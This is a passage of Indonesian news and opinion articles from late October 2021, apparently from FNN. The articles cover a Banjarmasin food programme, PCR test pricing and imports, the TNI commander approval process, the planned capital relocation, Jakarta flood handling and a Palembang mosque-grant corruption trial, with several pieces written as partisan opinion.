pangan murah sendiri terdiri dari beras, garam, gula, minyak goreng dan lain-lain. Pemerintah Kota Banjarmasin yang diwakili Plt Asisten I Sekretariat Daerah Kota Banjarmasin Dolly Syahbana menyatakan apresiasinya atas diluncurkannya program yang diyakini sangat membantu masyarakat Kota Banjarmasin, terlebih disaat masa pandemi COVID-19 seperti saat ini. Karena itu, dia berharap kegiatan ini dapat diketahui seluruh elemen masyarakat, sehingga kehadiran program ini benar-benar tepat sasaran dan membantu masyarakat pra sejahtera. "Kita mengapresiasi peluncuran operasi pangan murah yang diluncurkan oleh ACT Kalsel ini," kata Dolly. Dia menambahkan, kesuksesan program yang diluncurkan oleh ACT Kalsel ini, tak lepas dari kolaborasi antar stakeholder, baik dari unsur pemerintah kota, instansi dan lain-lain. Mudah-mudahan, katanya lagi, dengan adanya operasi pangan murah masyarakat Kota Banjarmasin khususnya dari kalangan pra sejahtera tak lagi kesulitan dalam memenuhi kebutuhan pokok. "Kita berharap ini merupakan awal dari bentuk kolaborasi pemerintah kota dengan ACT Kalsel, serta membangun sinergitas untuk membantu masyarakat miskin khususnya di Kota Banjarmasin," kata Dolly. (mth)

Semen Padang Tunjuk Mantan Pelatih Persiraja sebagai Pelatih Kepala

Padang, FNN - Manajemen Semen Padang FC menunjuk mantan pelatih Persiraja Banda Aceh Hendri Susilo, yang tampil buruk di kompetisi Liga 1 Indonesia, sebagai pelatih kepala dalam menghadapi putaran kedua Liga 2 2021. Manajer Semen Padang FC Effendi Syahputra mengatakan pemilihan Hendri Susilo bukan tanpa alasan. Selain melihat pengalamannya di sepak bola nasional, pelatih ini juga merupakan putra asli dari Ranah Minang. Hendri Susilo berkarier mulai dari Timnas Pra Piala Asia U-17, Persija Jakarta, Sriwijaya dan terakhir ia mampu membawa Persiraja Banda Aceh berlaga di Liga 1. "Hal inilah yang menjadi catatan dari manajemen," kata Effendi dalam keterangan tertulisnya di Padang, Sabtu. Menurut dia, manajemen memilih Hendri Susilo karena rekam jejak pengalamannya menangani klub tergolong berhasil. Setelah berdiskusi, ternyata ada kesamaan visi antara pihaknya dan Hendri Susilo. "Hendri Susilo juga salah satu pelatih terbaik dari Minang juga, dan inilah menjadi salah satu alasan kuat untuk kami merekrut beliau,” ujar Effendi. Sementara itu, CEO PT Kabau Sirah Hasfi Rafiq berharap pada putaran kedua, di tangan coach Hendri Susilo, tim Kabau Sirah bisa meraih hasil maksimal dalam perjuangan mengejar tiket menuju Liga 1. “Semoga di tangan beliau SPFC dapat menjadi lebih baik lagi ke depan,” harap Hasfi. (mth)

Jika Sudah Vaksin, Seharusnya Tes PCR Tidak Perlu Lagi!

Oleh: Mochamad Toha Sesuai arahan Presiden Joko Widodo sebelumnya, Pemerintah menurunkan harga tes Covid-19 dengan metode polymerase chain reaction (PCR). Apakah ini modus hanya untuk menghabiskan stok alat PCR? Pelaksana Tugas (Plt) Direktur Jenderal Pelayanan Kesehatan Kemenkes Abdul Kadir mengatakan, tarif tertinggi tes PCR di Jawa-Bali kini menjadi Rp 275 ribu. Di luar Jawa-Bali, harga tertinggi tes PCR Rp 300 ribu. Abdul Kadir menambahkan hasil swab test PCR Covid-19 ini harus keluar dalam 1x24 jam. “Hasil RT PCR dengan tarif tersebut dikeluarkan dengan durasi maksimal 1x24 jam dari pemeriksaan swab RT PCR,” ujarnya. Dalam konferensi pers secara daring yang disiarkan YouTube Kemenkes, Rabu (27/10/2021), Abdul Kadir menyatakan, tarif tersebut, diputuskan setelah melakukan evaluasi atas komponen-kompenen tes PCR. Seperti layanan, harga reagen, biaya administrasi overhead dan komponen biaya lainnya yang disesuikan pada kondisi saat ini. Tes PCR ini diterapkan untuk seluruh moda transportasi, bukan hanya udara saja. Kewajiban menggunakan PCR untuk naik pesawat itu diatur dalam Surat Edaran Nomor 21 Tahun 2021 yang dikeluarkan Satgas Covid-19. Kebijakan tersebut menuai polemik di masyarakat di tengah kasus Covid-19 di Indonesia yang mulai menurun. Apalagi, harga PCR tidak semurah antigen yang sebelumnya boleh digunakan sebagai syarat terbang. Salah satu penyebab mahalnya alat tes swab PCR adalah 100 persen masih dipasok melalui jalur impor. Pemasok alat tes tersebut di antaranya adalah China dan Malaysia. BPS menyebut, nilai impor PCR selama Januari-Juni 2021 mencapai USD 362,02 juta atau senilai Rp 5,1 triliun (kurs Rp 14.100). Impor alat tes PCR tersebut dilakukan dari beberapa negara tetangga. Di antaranya, Singapura yakni mencapai USD 11 juta atau Rp 154,5 miliar. Indonesia juga mengimpor PCR dari Malaysia senilai USD 155.922 (sekitar Rp 2,1 miliar). Kemudian dari Filipina USD 1.544 atau sekitar Rp 21,6 juta, dan Vietnam USD 72.256 atau sekitar Rp 1,01 miliar. Selain dari beberapa negara tetangga ini, PCR juga diimpor dari Guatemala senilai USD 327 atau sekitar Rp 4,57 juta. Selain itu, Indonesia juga doyan impor alat PCR dari India. Sepanjang semester I sebesar USD 257.357 atau sekitar Rp 3,6 miliar. Tapi, yang paling banyak, alat PCR diimpor dari Korea Selatan dan China. BPS mencatat selama periode tersebut total impor PCR dari Negeri Ginseng nilainya mencapai USD 144,2 juta. Sementara impor PCR dari China yang nilainya USD 99 juta. Selama periode Januari-Agustus 2021, BPS mencatat impor instrumen tes PCR mencapai 203.236 kg atau setara 203,2 ton, dengan nilai USD 31,99 juta atau setara Rp 452,98 miliar (kurs Rp14.156). Data tersebut belum termasuk impor reagent untuk analisis PCR. Reagent adalah pereaksi kimia berbentuk cairan yang digunakan untuk tes PCR. Menurut data BPS, impor reagent untuk tes PCR pada periode Januari-Agustus mencapai 4.315.634 kg (4.315 ton) dengan nilai USD 516,09 juta atau setara Rp 7,3 triliun. Berdasarkan data BPS, impor instrumen PCR (kode HS 90278030) tertinggi berasal dari China. Berikut daftar negara importir instrumen PCR terbesar: China 66.609 kg, senilai USD 9.226.860; 2. Amerika Serikat 24.515 kg, senilai USD 5.198.481; 3. Jepang 18.509 kg, senilai USD 1.957.504; 4. Jerman 8.467 kg, senilai USD 1.239.612; Korea 16.712 kg, senilai USD 5.169.928; 6. Taiwan 48.708 kg, senilai USD 5.071.544; 7. Singapura 3.553 kg, senilai USD 1.790.964; 8. Swiss 2.983 kg, senilai USD 633.280; Hong Kong 1.570 kg, senilai USD 300.281; 10. Swedia 1.159kg, senilai USD 211.438; 11. India 1.159 kg, senilai USD 154.171. Tak hanya itu, China juga menjadi pengekspor reagent (kode HS 38220090) terbesar ke Indonesia. Berikut ini daftar 10 negara eksportir reagent PCR terbesar: China 1.616.780 kg, senilai USD 169.862.517; 2. Korea 760.631 kg, senilai USD 181.297.615; 3. Singapura 724.205 kg, senilai USD 15.324.331; 4. Amerika 315.787 kg, senilai USD 40.079.512; Jerman 255.198 kg, senilai USD 33.801.228; 6. Jepang 202.584 kg, senilai USD 5.256.722; 7. Prancis 90.754 kg, senilai USD 14.201.329; 8. Swedia 81.252 kg, senilai USD 11.784.296; Irlandia 42.106 kg, senilai USD 4.566.838; 10. Italia 42.513 kg, senilai USD 3.373.563. Nilai impor alat tes PCR Indonesia mencapai Rp 2,27 triliun per 23 Oktober 2021. Direktorat Bea dan Cukai mencatat lonjakan impor alat tes PCR terjadi pada bulan Juni lalu, di mana terjadi lonjakan kasus Covid-19. Di bulan Juni saja, nilai impor tercatat mencapai Rp 523 miliar. Berdasarkan data Bea dan Cukai, perusahaan swasta adalah entitas yang mendominasi kegiatan impor PCR mencapai 88,16 persen, lembaga non profit hanya 6,04 persen, dan pemerintah 5,81 persen. Anggota Komisi VIII DPR Bukhori Yusuf, mengkritik keras rencana untuk memberlakukan syarat wajib tes PCR bagi semua moda transportasi jelang libur natal dan tahun baru. Bukhori juga mempertanyakan sikap Presiden Jokowi dalam merespons tuntutan publik. Alih-alih mendengar aspirasi rakyat untuk menghapus syarat wajib tes PCR, presiden justru memberi arahan untuk menurunkan tarif tes PCR menjadi Rp 300.000. “Jika pertimbangan pemerintah murni demi kesehatan dan mitigasi risiko gelombang ketiga, maka tentunya bukan tes usap PCR yang menjadi syarat mutlak untuk perjalanan, melainkan cukup rapid test antigen,” ujarnya. Sebab, lanjutnya, tujuan dari tes PCR adalah untuk tes konfirmasi Covid-19, sedangkan rapid test antigen adalah untuk screening,” tutur Bukhori di Jakarta, Rabu (27/10/2924). Ia juga mengendus ada indikasi persaingan bisnis di balik kebijakan syarat wajib tes PCR bagi pelaku perjalanan. Penyedia layanan tes PCR menjamur di sejumlah tempat dengan menawarkan harga berlapis. Kabar24.bisnis.com (15/08/2021) menulis, produk impor alat kesehatan itu kebanyakan didatangkan dari China dengan nilai transaksi mencapai US$ 541,3 juta atau 49,61% dari keseluruhan negara penjual. Importir alat deteksi Covid-19 seperti PCR dan tes Antigen didominasi oleh kelompok perseorangan atau korporasi non-pemerintah. Mereka memegang 77,16% aktivitas impor alat kesehatan untuk penanganan Pandemi Corona di Tanah Air. Pemerintah hanya memegang 16,67% dari keseluruhan aktivitas impor alat kesehatan penanganan Covid-19 itu. Sisanya, 6,18%, pengadaan barang dari luar negeri dilakukan oleh lembaga non-profit. Korporasi non-pemerintah itu tidak sepenuhnya memiliki latar belakang bisnis yang konsen pada urusan kesehatan masyarakat. Dalam dokumen importasi itu menunjukkan ada perusahaan bidang kecantikan, tekstil, hingga ketel uap. Alat deteksi Covid-19 seperti PCR dan tes Antigen diimpor dengan nilai USD 530,6 juta atau menyentuh di angka 52,2% dari keseluruhan pengadaan alat kesehatan yang didatangkan dari sejumlah negara pemasok. Perinciannya, impor PCRmenembus di angka USD 340,5 juta (31,20%) dari keseluruhan alat kesehatan yang dibeli dari luar negeri. Ihwal rapid test, importir dalam negeri membeli dengan nilai USD 190,1 juta atau 17,42%. Produk impor alkes itu kebanyakan didatangkan dari China dengan nilai transaksi mencapai USD 541,3 juta atau 49,61% dari keseluruhan negara penjual. Diikuti Korsel dengan nilai transaksi USD 150,5 juta atau 13,5% dari keseluruhan negara mitra. Di luar negeri, ternyata tes PCR sudah tidak diperlukan lagi. Seorang WNI yang baru pulang dari Turki bercerita, ketika ia datang di negara itu, tidak ada pemeriksaan PCR maupun karantina. Tapi, ketika ia pulang ke Indonesia, masih wajib karantina beberapa hari di hotel atau tempat yang disediakan pemerintah. Di luar negeri, kalau sudah divaksin, sudah cukup, tidak perlu tes PCR lagi. Sogrok Hidung Pernahkah Anda membayangkan risiko tes swab hidung yang ternyata bisa menyebabkan cedera? Selama ini kita tidak pernah berpikir akan risikonya bila petugas yang melakukan tes swab dengan pelatihan minimal. Meski secara umum masih dianggap aman, usap hidung dan nasopharing bukan tanpa risiko. Individu yang melakukannya dengan pelatihan minimal punya risiko cedera yang jauh lebih tinggi daripada nakes terlatih. “Beberapa kasus menunjukkan kemungkinan cedera intrakranial ketika tes tidak dilakukan dengan tekkik dan prosedur yang benar,” ungkap Dr. dr. Hisnindarsyah, SE, MKes, MH, CFEM, dokter di salah satu rumah sakit di Tanjung Pinang. Komplikasi yang timbul, mulai dari patahnya tangkai usap jika dilakukan oleh orang yang tidak profesional, terjadinya mimisan atau perdarahan hidung karena cara yang tidak benar atau gangguan menelan. Bahkan juga bisa beresiko terjadinya kebocoran cairan serebrospinal (CSF), ensefalokel, dan meningitis. Meski sangat jarang terjadi, karena posisinya yang jauh dari tempat pengambilan usap, tapi kemungkinan itu tetap ada. Penulis Wartawan FNN.co.id

Fit & Proper Test Calon Panglima TNI, Gimmik Politik Yang Perlu Diakhiri

Oleh Brigjen TNI (Purn) Drs. Aziz Ahmadi, M. Sc. HARI-HARI ini, DPR cengklungen (dalam ketidakpastian). Begitu pula, rakyat yang diwakilinya. Layaknya, ngenteni thukule jamur ing mongso ketigo (menunggu tumbuhnya jamur di musim kemarau). Menunggu Surat Presiden (Surpres), terkait pengajuan nama calon Panglima TNI, menggantikan Marsekal TNI Hadi Tjahjanto. Patut dan Layak Setiap pergantian Panglima TNI, selalu menarik perhatian khalayak. Faktor daya tariknya bervariasi. Ada yang karena siapa, dan kenapanya. Tapi, ada juga karena prosedur dan mekanismenya. Merujuk UU No. 34/2004, tentang Tentara Nasional Indonesia (TNI). Tertuang pada Pasal 13, yang seluruhnya terdiri dari 10 ayat. Di sini diatur ritual atau prosedur pergantian Panglima TNI. Ayat (2) berbunyi : Panglima diangkat dan diberhentikan oleh Presiden setelah mendapat persetujuan DPR. Terhadap ayat (2) ini, diberi penjelasan sebagai berikut : Yang dimaksud dengan persetujuan DPR, adalah pendapat berdasarkan alasan dan pertimbangan yang kuat tentang aspek moral dan kepribadian, berdasarkan rekam jejak. Namun kenyataanya, berbeda. Antara kehendak pada penjelasan dengan praktiknya, tidak sejalan. DPR, tidak menjalankan apa yang tertuang dalam penjelasan ayat (2) tersebut. Sebaliknya, DPR justru terjebak dalam mal praktek sendiri. Sejauh ini, DPR melampaui dan menyimpang dari spirit dan substansi penjelasan ayat (2) dimaksud. DPR, dengan sengaja, "keliru berkreasi." Melakukan gimmik politik, dengan apa yang disebut, "uji kepatutan dan kelayakan" (fit & proper test), terhadap calon Panglima TNI. Di bawah rezim UU No. 34/2004, sudah 6 (enam) dan akan 7 (tujuh) - calon Panglima TNI yang menjadi korban salah tafsir, terhadap ayat (2), pasal 13, beserta penjelasannya, itu. Korban pertama, adalah, Marsekal TNI Djoko Suyanto. Acting Kepala Staf TNI AU (KSAU) saat itu. Alhamdulillah, Marsekal Djoko Suyanto dinyatakan lolos oleh Komisi I/DPR RI, dan kemudian ditetapkan oleh Presiden Susilo Bambang Yudhoyono, sebagai Panglima TNI ke 16, terhitung mulai tanggal, 13 Februari 2006 s/d 28 Desember 2007. Prerogratif Presiden Kini tiba saatnya, mengakhiri ayat (2), pasal 13, UU No. 34/2004, tersebut. Artinya, Presiden mengangkat/memberhentikan Panglima TNI, tidak perlu meminta persetujuan DPR lagi. Sekaligus "mengakhiri" mekanisme uji kepatutan dan kelayakan terhadap calon Panglima TNI. Pointnya, prosedur pergantian Panglima TNI, kembalikan dan percayakan sepenuhnya kepada hak prerogratif Presiden", selaku pemegang kekuasaan tertinggi (PKT) atas TNI AD, TNI AL, dan TNI AU. Kenapa perlu diakhiri? Pertama, mekanisme fit & proper test (terhadap calon Panglima TNI), tidak ada landasan hukum/aturan yang jelas. Kedua, bersifat paradoks dengan spirit dan substansi penjelasan Ayat (2), pasal 13, UU No. 34/2004, itu sendiri. Ketiga, uji kepatutan dan kelayakan terhadap calon Panglima TNI, hanyalah kreasi atau gimmik politik, yang kurang substantif. Keempat, - ini yang terpenting - mengandung *berbagai resiko dan implikasi, yang amat merugikan TNI. Resiko & Implikasi Adapun risiko & implikasi negatif, yang harus dihindari, adalah sebagai berikut : Pertama, Membelah Kesatuan Komando & Loyalitas Tegak Lurus TNI. Itulah, ruh dan sendi utama organisasi militer. Namun, dengan dilibatkannya DPR cawe-cawe menentukan calon Panglima TNI, berarti membelah kesatuan komando dan loyalitas tegak lurus TNI. Patut diduga, bakal terjadi loyalitas ganda, dari TNI. Tidak hanya tegak lurus kepada Presiden, tapi terbagi dan bercabang kepada DPR. Dari sini bisa timbul kerancuan komando dan kontestasi kepentingan secara terselubung, yang sama sekali tidak menguntungkan TNI. Kedua, Terjadi Kembali Politisasi Terhadap TNI. Persetujuan DPR, melalui mekanisme fit & proper test adalah proses politik. Nuansa dan aroma politiknya, begitu kental dan kentara. Tentunya, amat paradoks dengan semangat reformasi TNI. Disadari atau tidak, semestinya TNI steril dari hiruk-pikuk politik - langsung atau tidak langsung keseret-seret kembali ke wilayah politik praktis. Ini berarti, "menggaruk di atas luka yang kemudian bisa menggoda sisa-sisa birahi politik militer, bangkit kembali. Ketiga, Menghambat Proses Institusinalisasi TNI. Semua itu secara signifikan, akan berpengaruh negatif terhadap proses institusonalisasi TNI. Bahkan bisa menghambat dan menggagalkannya. Cita-cita membangun budaya TNI, yang profesional, disiplin, militan, dedikatif dan modern, akan terkendala. TNI kehilangan fokus, dan hanya menjadi komoditas yang layak untuk diperebutkan, sesuai kepentingan politik tertentu. Keempat, Menyemai Korupsi Politik Dalam Tubuh TNI. Persetujuan DPR melalui mekanisme fit & proper test, membuka peluang yang amat lebar bagi calon Panglima TNI, berkompetisi secara tidak fair. "Calon Panglima TNI, adalah juga manusia". Dalam kondisi tertentu, bukan tidak mungkin terjadi kompetisi dan kontestasi yang tidak sehat, dari sesama calon Panglima TNI. Apakah sekadar kontestasi elektabilitas, agar memenuhi kriteria untuk dicalonkan oleh Presiden. Atau sebuah kompetisi keras dengan mengerahkan segala modalitas yang ada. Itu semua bisa mengarah pada korupsi politik dalam beragam bentuknya. Bisa berupa kebijakan, janji, posisi tawar, bahkan uang, dan lain-lain, untuk mendapat atau tidak mendapat persetujuan dari DPR. Catatan Akhir UU No. 34/2004 tentang TNI, sudah saatnya direvisi/ditinjau kembali. Ada sejumlah pasal atau ayat yang idol atau tidak dapat dilaksanakan secara semestinya. Tentunya termasuk pengakhiran & penghapusan Pasal 13 ayat (2) tentang persetujuan DPR terhadap calon Panglima TNI, yang diajukan oleh Presiden. Tapi, jika memang masih dirasa perlu diteruskan, harus ada mekanisme dan pengaturan yang clear, clean dan legal. Bukan seperti saat ini. Sekadar gimmik politik, sebagai ajang gagah-gagahan semata. (sws)

WIMA Beri Bantuan Hukum Bagi Perempuan Pelaut

Jakarta, FNN - Prihatin menyaksikan masalah yang dialami perempuan pelaut atau para pekerja perempuan di bidang maritim, Women On Maritime Association Indonesia (WIMA INA) merasa terpanggil untuk dapat membantu mereka menyelesaikan masalah yang sering mereka alami seperti pelecehan seksual, ketidakadilan dalam pekerjaan maupun dalam kehidupan sehari- hari. WIMA INA hadir untuk memberikan pendampingan di bidang hukum. Demikian topik yang timbul dalam memperingati Hari Sumpah Pemuda 28 Oktober 2021, dimana WIMA INA menggelar Webinar Nasional “Pencapaian Perempuan Indonesia di Sektor Maritim & Launching Legal Help Desk” yang diselenggarakan secara hybrid di Menara Kadin Jakarta. WIMA INA terus berkomitmen mendukung peranan wanita di bidang maritim untuk membangun kembali dan meningkatkan peran wanita di bidang maritim di Indonesia. Sebagai Keynote Speaker dalam Webinar ini adalah Plt. Direktur Jenderal Perhubungan Laut yang diwakili oleh Direktur Perkapalan dan Kelautan, Ahmad Wahid. Ahmad Wahid menyampaikan bahwa Kementerian Perhubungan, melalui Direktorat Jenderal Perhubungan Laut, terus berupaya untuk memastikan dam menjamin bahwa perempuan Indonesia mendapatkan kesetaraan gender dan pendidikan di sektor maritim. Hal ini, berkaitan juga dengan akses terhadap sumber daya ekonomi sendiri. “Dalam rangka menyambut Hari Sumpah Pemuda yang jatuh pada 28 Oktober ini, WIMA INA memberikan warna berbeda, dengan mengadakan Webinar Nasional bertajuk Pencapaian Perempuan Indonesia di Sektor Maritim & Launching Legal Help Desk, dimana legal help desk ini ditujukan untuk memberikan pendampingan bantuan hukum di bidang maritim bagi para pelaut dan pekerja wanita di setor kemaritiman ," kata Ketua Umum WIMA INA Dr. Chandra Motik, dalam paparannya sebagai narasumber pertama dalam Webinar ini. Chandra Motik pakar kelautan dan kemaritiman Indonesia, selalu aktif menggaungkan kepada pemerintah dan masyarakat agar bangsa Indonesia kembali ke laut dan membangun budaya maritim demi mewujudkan Indonesia sebagai negara maritim. Sementara Carmelita Hartoto, Ketua Umum INSA dan Waketum WIMA, hadir sebagai narasumber ke-2 dalam webinar ini. Dalam paparannya, Carmelita menyebutkan bahwa peran perempuan di bidang maritim di Indonesia sudah memiliki cakupan yang cukup besar. Hal ini bisa dilihat dari beberapa jabatan strategis yang telah dipegang perempuan di industri ini sejak beberapa tahun terakhir. Carmelita juga menyatakan bahwa pemberdayaan perempuan pada sektor maritim bukan ditujukan menjadi pesaing bagi laki-laki, melainkan bersinergi antara keduanya. Irma Suryani Chaniago, anggota DPR RI tahun 2021 – 2024 dan Komisaris Independent PT Pelindo, hadir sebagai narasumber ke-3. Dalam paparannya, Irma menyebutkan bahwa saat ini diperlukan adanya Undang-undang perlindungan kesetaraan gender yakni menjamin penghapusan diskrimanasi, kekerasan terhadap perempuan, penghapusan semua praktek yang membahayakan perempuan, dan menyadari pelayanan dan pekerjaan, memastikan bahwa perempuan dapat berpartisipasi penuh dalam kehidupan social, ekonomi dan politik. Sebagai narasumber terakhir dalam webinar ini adalah Dothy, Direktur Teknik PT Pelindo Terminal Petikemas yang juga Ketua Ikatan Alumni Swedia. Dalam paparannya, beliau menyebutkan bahwa harus ada keseimbangan antara karir perempuan sebagai pemimpin dan sebagai perempuan yang mengabdi pada keluarganya. Untuk itu diperlukan kiat-kiat khusus dan tehnik untuk men-switch peran diantara peran sebagai pemimpin di organisasi dan di rumah. Webinar ini dimoderatori oleh Yanti Agustinova, Ketua Bidang Program WIMA INA dan sebagai MC, Indhira Gita Lestari, Corporate Affair Manager PT. Jakarta International Container Terminal. (sws)

Masih Membual Pindah Ibu Kota?

By M Rizal Fadillah Di tengah bobroknya pemerintahan dengan BUMN yang banyak merugi, demokrasi terseok-seok, proyek ambisius seperti bandara dan kereta cepat yang tidak bergerak, mangkrak dan membengkak, Jokowi tetap 'keukeuh' untuk merealisasikan proyek pemindahan Ibukota ke Kalimantan. Tidak bisa mengukur diri kesannya. Suara rakyat diabaikan, "anjing menggonggong kafilah berlalu". Sepertinya dalam benak hanya ada proyek dan proyek. Proyek jalan tol, pelabuhan, bandara, LRT, kereta cepat, termasuk proyek pemindahan ibukota (IKN). Pengalaman mencatat kegagalan demi kegagalan. IKN akan dibayang-bayangi pula oleh kegagalan. Biaya mahal menjadi paket proyek membual. Ibu Kota Negara (IKN) berpotensi gagal disebabkan : Pertama, ini proyek yang tidak difahami dan diterima rakyat, bukan kehendak rakyat tetapi keinginan pemerintah bahkan mungkin Presiden dengan oligarkhinya saja. Proyek proyek yang tidak berbasis kepentingan dan dukungan rakyat selalu berantakan. Ironinya bangunan yang pertama akan didirikan adalah Istana Presiden. Weleh. Kedua, biaya besar sekitar 500 Trilyun tidak jelas sumber pendanaannya. Baru dalam RUU IKN disebutkan sumbernya adalah APBN, aset BUMN, Kerjasama Pemerintah dengan Badan Usaha (KPBU) dan swasta murni. Betapa berat untuk menyedot dana APBN dan aset BUMN yang kondisinya kini semakin morat-marit. Status ekonomi Indonesia sudah turun kasta setingkat Timor Leste dan Samoa. Ketiga, anggaran biaya yang berpotensi membengkak dua atau tiga kali lipat dari prediksi. Sebagaimana juga proyek kereta cepat Jakarta Bandung yang awal hanya beranggaran 60 Trilyun, sekarang sudah 114 Trilyun. Diragukan IKN "hanya" 500 Trilyun. Artinya APBN bakal babak belur lagi. Debt trap menjadi konsekuensi dan niscaya. Keempat, memindahkan ibukota dengan membangun dari nol bukan hal yang mudah. Yang realistis adalah pindah ke lokasi yang awalnya sudah menjadi Kota dengan potensi pengembangan. Lagi pula ke Penajam Kaltim berjarak sangat jauh dari Jakarta. Berimplikasi luas, termasuk perpindahan sumber daya manusia yang cukup rumit. Kelima, ada kondisi psiko-politis yang dapat menghambat agenda, yaitu kekhawatiran daerah pemukiman baru di ibukota akan diisi oleh orang-orang yang dikategorikan "mampu membeli" dan dominan untuk itu bukanlah orang pribumi. Ibukota baru menjadi tempat migrasi baru untuk penguasaan area. New Singapore. Keenam, dari sisi pertahanan dan keamanan Ibukota relatif lebih rawan. Berada di ruang yang kosong, bukan padat penduduk. Untuk sistem Pertahanan Rakyat Semesta sangatlah sulit diterapkan dan ancaman bahaya lebih besar mengingat jumlah TNI aktif yang dimiliki hanya 434 ribu. Berbeda dengan di Jawa, khususnya Jakarta dimana pengerahan kekuatan rakyat jauh lebih mudah dan murah. Ketujuh, terhadap Ibukota lama yang ditinggalkan ternyata rencananya akan dilakukan jual-jual aset Pemerintah. Lalu siapa pembeli dari kekayaan negara ini ? Apakah rakyat dari bangsa Indonesia yang disebut pribumi kah ? Dipastikan tidak. Pemindahan Ibukota diragukan urgensi dan ketepatan lokasi pilihannya. Meski partai-partai politik di parlemen telah dikuasai dan RUU IKN akan mudah disetujui oleh DPR RI, akan tetapi perlu direnungkan mendalam akan ketepatan putusannya. Situasi pandemi dan keuangan yang berat serta hutang luar negeri yang besar, sulit untuk difahami dan diterima proyek ambisius ini. Ini adalah proyek Jokowi dan oligarkhi serta pemburu rente. Bukan proyek rakyat atau kepentingan bangsa dan negara. Rakyat merasa lebih butuh pada program nyata kerakyatan ketimbang Ibukota baru. Proyek Ibukota baru adalah penciptaan kesengsaraan baru. Batalkan saja. *) Analis Politik dan Kebijakan Publik

Anies Sebut Percepatan Penanganan Genangan Banjir Bisa Dapat KPI

Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan menyebutkan upaya mempercepat penanganan banjir oleh jajarannya bisa mendapat penilaian melalui indikator kinerja individu atau key performance indicator (KPI) "Di awal tahun ini terasa daerah-daerah yang biasanya kalau banjir tergenang tiga empat hari, sekarang kurang dari satu hari sudah kering. Kenapa? karena sekarang petugas lurah, camat, BPBD, itu semua punya target," kata Anies dalam Rakornas virtual Antisipasi La Nina di Jakarta, Jumat, 29 Oktober 2021. Mantan Menteri Pendidikan dan Kebudayaan itu menargetkan genangan air surut dalam waktu enam jam setelah hujan berhenti. Menurut dia, kapasitas drainase jalan utama atau jalan raya di DKI Jakarta mencapai 100 milimeter per hari dan di luar jalan utama dan jalan raya mencapai 50 milimeter per hari. Apabila curah hujan per hari di DKI Jakarta mencapai 100 milimeter, Anies menargetkan kawasan Ibu Kota tidak boleh banjir. Sedangkan, untuk antisipasi banjir pihaknya sudah melakukan aksi gerebek lumpur dengan mengeruk sedimen dan sampah di sejumlah sungai dan waduk di lima wilayah di DKI Jakarta. Tujuannya agar waduk dan sungai tersebut memiliki daya tampung air yang lebih besar jika curah hujan lebih tinggi dari 100 milimeter per hari. Sementara itu, lanjut dia, 13 sungai yang mengalir di Jakarta memiliki daya tampung 2.300 meter kubik per detik. Anies mencatat volume air yang sempat masuk ke Jakarta mencapai 3.200 meter kubik per detik ketika ada hujan ekstrem di kawasan selatan atau pegunungan. "Jadi gap-nya itu bisa meningkat sampai 1.000 meter kubik per detik antara daya tampung dengan air yang masuk, itu sebabnya harus dikendalikan di kawasan tengah dengan waduk, supaya masuknya ke dalam kota masih tetap sesuai kapasitas," ucapnya. (MD).

Empat Terdakwa Korupsi Hibah Masjid Dituntut Penjara 19 Tahun

Sumatera Selatan, FNN - Jaksa Penuntut Umum (JPU) Kejaksaan Tinggi Sumatera Selatan, menuntut empat terdakwa perkara tindak pidana korupsi hibah pembangunan Masjid Raya Sriwijaya Palembang pidana penjara selama 19 tahun. Keempat terdakwa tersebut adalah Eddy Hermanto (mantan Ketua Umum Pembangunan Masjid Sriwijaya), Syarifuddin MF (Ketua Divisi Lelang Pembangunan Masjid Sriwijaya), Dwi Kridayani (KSO PT Brantas Abipraya - Yodya Karya), dan Yudi Arminto (Project Manager PT Brantas Abipraya). "Kami penuntut umum menuntut agar majelis hakim yang memeriksa dan mengadili perkara ini untuk memutuskan keempat terdakwa bersalah menurut hukum dipidana penjara 19 tahun. Pidana penjara tersebut dikurangi selama masa kurungan yang sudah dilakukan dengan perintah tetap dalam tahanan," kata JPU M Naimullah dalam sidang agenda pembacaan tuntutan di Pengadilan Negeri Palembang yang diketuai Majelis Hakim Sahlan Effendi, Jumat, 29 Oktober 2021. Selain pidana penjara, lanjut jaksa, setiap terdakwa wajib untuk membayar denda atas perkara tersebut masing-masing senilai Rp 750 juta subsider enam bulan. Lalu setiap terdakwa diwajibkan untuk membayar uang pengganti dengan nilai yang disesuaikan berdasarkan perbuatan masing-masing. Terhadap terdakwa Eddy Hermanto diwajibkan membayar uang senilai Rp 684 juta, terdakwa Syarifuddin senilai Rp 1 miliar, Dwi Kridayani senilai Rp 2.5 miliar dan terdakwa Yudi Arminto senilai Rp 22.4 miliar. Menurutnya, bila dalam waktu satu bulan setelah putusan berstatus inkracht (berketatapan hukum) maka harta benda terdakwa disita oleh jaksa untuk dilelang. Hasil dari pelelangan tersebut uangnya dikembalikan kepada negara. "Kalau nilainya masih tidak mencukupi maka dikenakan dipidana penjara sembilan tahun enam bulan," ujarnya, sebagaimana dikutip dari Antara. Tuntutan yang dijatuhkan JPU tersebut yang hampir mencapai hukuman maksimal dinilai sudah layak. Sebab terdapat beberapa hal yang menjadi pertimbangan memberatkan mereka dalam menentukan tuntutan tersebut. Menjurut jaksa, atas perbuatan tersebut terdakwa sama sekali tidak mendukung program pemerintah dalam upaya pemberantasan tindak pidana korupsi, tindak pidana yang dilakukan oleh terdakwa adalah tentang pembangunan rumah ibadah yakni masjid, dan terdakwa sama tidak menyesali perbuatan yang mereka lakukan tersebut. Maka setelah dilakukan pemeriksaan barang bukti lalu didukung oleh keterangan saksi-saksi yang telah diperiksa. Terdapat beberapa perbuatan yang harus dipandang sebagai perbuatan berlanjut, secara melawan hukum, diantaranya yaitu pada tahun 2015 sampai dengan tahun 2017 ada pemberian hibah berbentuk uang kepada Yayasan Wakaf Masjid Sriwijaya yang berdomisili di Jalan Limau II Blok B/3, Kelurahan Gandaria, Kecamatan Kebayoran Baru, Kotamadya Jakarta Selatan yang bersumber dari Anggaran Pendapatan dan Belanja Daerah (APBD) Tahun 2015 sebesar Rp 50.000.000.000 dan APBD Tahun 2017 sebesar Rp 80.000.000.000. Proses tersebut tanpa dilakukan verifikasi terhadap usulan tertulis (proposal), tidak melalui pembahasan pada Tim Anggaran Pemerintah Daerah (TAPD) dan beberapa perbuatan lainnya seperti dilakukan kesepakatan besaran kontrak kerja meskipun belum diketahui anggaran hibah dalam nota perjanjian hibah daerah (NPHD). Terdakwa diduga melanggar ketentuan Pasal 5 dan Pasal 6 Perpres Nomor 54 Tahun 2010 Jo. Perpres Nomor 70 Tahun 2012 tentang Pengadaan Barang dan Jasa, Pasal 19 Permendagri Nomor 32 Tahun 2011 tentang Pemberian 